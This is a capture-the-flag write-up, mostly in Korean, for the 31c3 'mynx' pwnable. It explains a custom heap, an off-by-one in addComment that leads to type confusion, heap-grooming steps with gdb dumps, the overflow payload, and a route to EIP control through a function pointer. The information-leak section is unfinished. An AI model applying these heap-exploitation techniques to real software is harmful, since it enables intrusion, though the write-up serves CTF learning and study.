A writeup for mynx challenge from 31c3 CTF. Have fun :)
mynx
Category: pwnable
Points: 30
Type: Off-by-One, Custom Heap Implementation
Description:
mynx running on 188.40.18.80 1234
Custom Heap Implementation
전역변수 형태로 정의되어 있는 heapTable@0x0804A900와 chunkCntTable@0x0804A904와 idxCnt@0x0804A940가 Heap Management를 수행하는데 사용된다. heapTable의 경우 4096(0x1000)byte만큼 할당되는 메모리 블록들의 포인터 배열이며, 각각의 메모리 블록들은 256(0x100)byte 단위(chunk라 하자)로 16등분되어 사용된다. 그리고 chunkCntTable은 앞에 선언된 heapTable에 존재하는 chunk의 개수를 저장하고 있다. 만약 16개가 넘는다면 out-of-memory 에러를 출력하도록 되어있다. idxCnt는 이후에 저장되는 ascii_art 혹은 comment 의 id값을 저장하기 위한 변수이다. 해당 바이너리에서 사용되는 구조체는 크게 2가지 유형이 있다.
1
2
3
4
5
6
struct ascii_art {
char type; // 0x49 : ascii_art
int id;
void (*filter_method)(char * content);
char content[247];
}
1
2
3
4
5
struct comment {
char type; // 0x37 : comment
int id;
char comment[251];
}
두 구조체의 크기는 256(0x100)byte로 동일하다. 즉, 메모리 블록내에 256byte 단위로 존재하는 chunk만큼 할당이 되는 것이다.
Vulnerability
취약점은 addComment@0x08048CE3함수에 존재한다. addAsciiart@0x08048D8B의 경우 read() 함수로 입력받을 때, 247byte 만큼만 받는다. 하지만, addComment의 경우 할당된 크기(251byte)보다 1byte 더 크게 입력 받는다. 즉, 여기서 Off-by-One 취약점이 발생한다. 이는 절묘하게도 다음 chunk의 type값을 덮어쓸 수 있고, 결국 Type Confusion 취약점으로 연계될 수 있다.
Debugging
(1) add ascii_art A1(0x804b008) - AAAA
(2) add ascii_art A2(0x804b108) - BBBB
(3) add comment(C1:0x804b208) to A1 - aaaa
(4) add comment(C2:0x804b308) to A2 - bbbb
1
2
3
4
5
6
7
8
9
10
11
12
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000137 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000237 0x62626200 0x00000a62 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
(5) add ascii_art A3(0x804b408) - CCCC (6) delete comment(C2:0x804b308)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000137 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000200 0x62626200 0x00000a62 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
(7) add comment(C3:0x804b308) to A3 - cccc ; it will put in C2(0x804b308)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000137 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000337 0x63636300 0x00000a63 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
(8) delete comment(C1:0x0804b208)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000100 0x61616100 0x00000a61 0x00000000
0x804b218: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000337 0x63636300 0x00000a63 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
(9) add comment(C2) to A2 - “b”*0xfb + “\x49” ; it will put in C1(0x0804b208) and overwrite C3(0x804b308)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
gdb-peda$ x/8wx 0x0804b008
0x804b008: 0x00000149 0x048c2b00 0x41414108 0x00000a41
0x804b018: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b108
0x804b108: 0x00000249 0x048c2b00 0x42424208 0x00000a42
0x804b118: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b208
0x804b208: 0x00000237 0x62626200 0x62626262 0x62626262
0x804b218: 0x62626262 0x62626262 0x62626262 0x62626262
gdb-peda$ x/8wx 0x0804b308
0x804b308: 0x00000349 0x63636300 0x00000a63 0x00000000
0x804b318: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/8wx 0x0804b408
0x804b408: 0x00000349 0x048c2b00 0x43434308 0x00000a43
0x804b418: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/65wx 0x0804b208
0x804b208: 0x00000237 0x62626200 0x62626262 0x62626262
0x804b218: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b228: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b238: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b248: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b258: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b268: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b278: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b288: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b298: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2a8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2b8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2c8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2d8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2e8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b2f8: 0x62626262 0x62626262 0x62626262 0x62626262
0x804b308: 0x00000349
EIP Control
실행흐름을 바꾸기 위해서는 여러가지 방법이 존재하지만 여기서는 고맙게도 함수 포인터(Function Pointer)가 존재한다.
심지어 인자 값까지 컨트롤 가능하므로 완벽한 취약점 조건이 된다.
Constructing an Information Leak
TBA
